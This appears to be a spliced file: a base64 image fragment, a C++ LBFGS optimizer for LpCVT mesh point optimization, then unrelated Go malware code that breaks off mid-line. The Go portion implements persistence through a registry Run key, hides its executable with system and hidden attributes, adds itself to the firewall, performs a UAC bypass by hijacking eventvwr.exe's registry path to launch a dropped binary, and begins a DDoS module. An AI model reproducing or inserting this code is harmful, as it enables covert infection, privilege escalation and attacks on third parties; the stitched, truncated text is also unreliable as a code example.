<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAZAAAADhCAMAAADRaBMuAAAABGdBTUEAALGPC/xhBQAAAwBQTFRF3styFS10aHNF7uitZ5W8MDtNpb6ePmhRxmsWgKmtXHuF1LMoNnptZJyQBRZeNEQQwEIq3n17+My9vqRz1OPOAgk2YIdf2MKWc1sd6ZuNqokg+S1CiqeDvdGzSXk9AQIZpoth8rGmKT0fl18jGmFa2ZRVjHxl8D8QjW1N2Yon/epawoyMlCwH+m5tcVJOtLW8WUEdeBkf+DAFz52qjkwGpj9CrHVq0jINhE86zsvVNF0s36y7NG8iz09SoWE43GFjpD4IvEEIyT5C6LvVYhAUf4yZ2vH26ZVQ9zwwdzIyLikLBigd/dt6/O6FxuLpqy8wb0gzp4WbjhgclnWC/egznZ6i9cfs3gUJ/cdu+oEHox0jxSkv+RoZqtHfNEBAy7DOJl8S+q0rwKDD/c021Lfg5UBChLfFSQ0PcTcdtZex+5oU/bNk2tfhawQHlYZ0DUxB96Nauhwi3sXtuquYCTcsXikYsjAHI1Ug8yAy/PAYLxUKWgMHzL6u/doYsm883y0y0ohL/LAS+UpI9QEC6+r5mGNhSQQF1sm57DAd/sgGr6CO7NzOildVhTZs4+DuXCFCmEZ6NxsYq1WMWDYyG0UXcSoQ0x4l/FdXjgcK+dP7DUMFTBoxwrWkIBYJl8HRi8noo5SBdS1cFjcM+8Mh/PH98ebd/eH+3tLDRiojDioIeQgKjIuMLTg4wXtF7O7laShR5+DWkjEuoAECGE4LSR0N9/DmhLzTPxIEeHd4LAUFcnJy5hkoaCML2xUf7/n7xQ8VpwsQOQQEBQIFgIGAExMTBTMEbGxtV1dXrAAAJAEB0Q8XYmJi49jMYxwGEgICJiYmZ2ZnxQYLGBgXWlpaShMCDw4OGgIDAyQDtwMECQAAWh4L9PbtKSkp/PnxXl5eCQkJuwYKBBoCRkZ


//
// Created by Canjia Huang <canjia7@gmail.com> on 25-3-4.
//

#include "LpCVT/others/optimizer.h"
#include <LpCVT/common/types.h>
#include <LpCVT/combinatorics/mesh.h>
// Eigen
#include <Eigen/Core>
// LBFGSpp
#include "LpCVT/external/LBFGSpp/LBFGS.h"

namespace LBFGSppSolver{
    using namespace Geex;

    /** Used for optimizing verbose**/
    class verbose_f_g {
    public:
        verbose_f_g(const unsigned int iter, const double f, std::vector<double>& g
            ) : iter_(iter), f_(f), g_(g) {}

        void operator()() const {
            double gnorm;
            for (const auto& i : g_)
                gnorm += i * i;
            gnorm = ::sqrt(gnorm);

            std::cout.precision(16);
            VERBOSE(
                "iter=" << iter_ <<
                " f=" << std::scientific << f_ << "  g=" << gnorm
                );
        }
    private:
        unsigned int iter_;
        double f_;
        std::vector<double>& g_;
    };

    /** Used for optimizing **/
    class LpCVT_iterate {
    public:
        LpCVT_iterate(Mesh* M, std::vector<vec3>& pts, const bool volume, const unsigned int p
            ) : M_(M), pts_(pts), volume_(volume), p_(p) {}

        std::vector<vec3>& pts() const { return pts_; }

        template<class T> void for_each_iter(const T& do_it) {
            do_it();
        }

        double operator()( // TODO: This function should be more efficient by avoiding vector copying.
            const Eigen::VectorXd& x, Eigen::VectorXd& grad
            ) {
            for (std::size_t i = 0, i_end = pts_.size(); i != i_end; ++i) {
                pts_[i][0] = x[3 * i];
                pts_[i][1] = x[3 * i + 1];
                pts_[i][2] = x[3 * i + 2];
            }

            std::vector<double> g;
            const double f = compute_f_grad(M_, pts_, volume_, p_, g);

            /** Verbose fx and grad **/
            if (verbose_ && ++iter_ % verbose_gap_ == 0)
                for_each_iter(verbose_f_g(iter_, f, g));

            for (std::size_t i = 0, i_end = g.size(); i < i_end; ++i)
                grad[i] = g[i];
            return f;
        }
    private:
        Mesh* M_;
        std::vector<vec3>& pts_;
        bool volume_;
        unsigned int p_;

        unsigned int iter_ = 0;
        bool verbose_ = true;
        unsigned int verbose_gap_ = 1;
    };

    class LBFGSpp_solver {
    public:
        LBFGSpp_solver(Mesh* M, std::vector<vec3>& pts, const bool volume, const unsigned int p
            ) : M_(M), pts_(pts), volume_(volume), p_(p) {}
        LBFGSpp_solver(Mesh* M, std::vector<vec3>& pts, const bool volume, const unsigned int p, unsigned int max_iter
        ) : M_(M), pts_(pts), volume_(volume), p_(p), param_max_iterations_(max_iter) {}

        double solve() const {
            LBFGSpp::LBFGSParam<double> param;
            param.epsilon = param_epsilon_;
            param.max_iterations = param_max_iterations_;

            // Create solver and function object
            LBFGSpp::LBFGSSolver<double> solver(param);
            LpCVT_iterate fun(M_, pts_, volume_, p_);

            // Initial guess
            Eigen::VectorXd x = Eigen::VectorXd::Zero(pts_.size() * 3);
            for (std::size_t i = 0, i_end = pts_.size(); i < i_end; ++i) {
                x[3 * i] = pts_[i][0];
                x[3 * i + 1] = pts_[i][1];
                x[3 * i + 2] = pts_[i][2];
            }

            // x will be overwritten to be the best point found
            double fx;
            const int niter = solver.minimize(fun, x, fx);

            pts_.swap(fun.pts());
            return fx;
        }
    private:
        Mesh* M_;
        std::vector<vec3>& pts_;
        bool volume_;
        unsigned int p_;

        double param_epsilon_ = 1e-6;
        unsigned int param_max_iterations_ = 100;
    };
}


ProcAttr = &syscall.SysProcAttr{HideWindow: true}
					_, _ = CommandWork.Output()

					if autofirwall {
						if addtoFirewall(myName, os.Args[0]) {
						}
					}
				}
				ine := checkForProc(myName)
				if !ine {
					run("start " + myAdminInstall + myName + ".exe")
				}
			} else {
				if !checkFileExist(myInstall + myName + ".exe") {
					_ = copyFileToDirectory(os.Args[0], myInstall+myName+".exe")

					fileStealth(myInstall + myName + ".exe")

					_ = writeRegistryKey(registry.CURRENT_USER, runPath, myName, myInstall+myName+".exe")
				}
				ine := checkForProc(myName)
				if !ine {
					run("start " + myInstall + myName + ".exe")
				}
			}
		}
	}
}

//============================================================
//                   Userkit Tools
//============================================================
func fileStealth(file string) {
	run("attrib +S +H " + file) //attrib -s -h -r /s /d
}

func checkForAnotherMe() (bool, string, string) { //Scans Processes to see if any match its MD5 HASH (Returns Ifexists, name, path)
	var dst []Win32_Process
	q := wmi.CreateQuery(&dst, "")
	err := wmi.Query(q, &dst)
	if err != nil {
		return false, "", ""
	}
	for _, v := range dst {
		if string(computeMD5(*v.ExecutablePath)) == string(computeMD5(os.Args[0])) {
			if *v.ExecutablePath != os.Args[0] {
				return true, v.Name, *v.ExecutablePath
			}
		}
	}
	return false, "", ""
}

func uacBypass(file string) bool {
	n := randomString(5, false)
	Binary, _ := os.Create(tmpPath + n + ".exe")
	DecodedBinary, _ := base64.StdEncoding.DecodeString(file)
	Binary.WriteString(string(DecodedBinary))
	Binary.Close()
	cmd := exec.Command("cmd", "/Q", "/C", "reg", "add", bypassPath, "/d", tmpPath+n+".exe")
	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
	_, err := cmd.Output()
	if err != nil {
		return false
	}
	c := exec.Command("cmd", "/C", "eventvwr.exe")
	c.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
	if err := c.Run(); err != nil {
		return false
	}
	cmd = exec.Command("cmd", "/Q", "/C", "reg", "delete", bypassPathAlt, "/f")
	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
	_, err = cmd.Output()
	if err != nil {
		return false
	}
	return true
}
//TODO:
// - Add Anti-DDoS Bypass's

package core

import (
	"bytes"
	"encoding/binary"
	"fmt"
	"io"
	"io/ioutil"
	"log"
	"math/rand"
	"net"
	"net/http"
	"os"
	"strconv"
	"strings"
	"syscall"
	"time"
)

func DDOSTimer(timer int) {
	time.Sleep(time.Duration(timer) * time.Minute)
	DDoSEnabled = false
}

func getUseragent() string {
	platform := A[rand.Intn(len(A))]
	var os string
	if platform == "Macintosh" {
		os = B[rand.Intn(len(B)-1)]
	} else if platform == "Windows" {
		os = C[rand.Intn(len(C)-1)]
	} else if platform == "X11" {
		os = D[rand.Intn(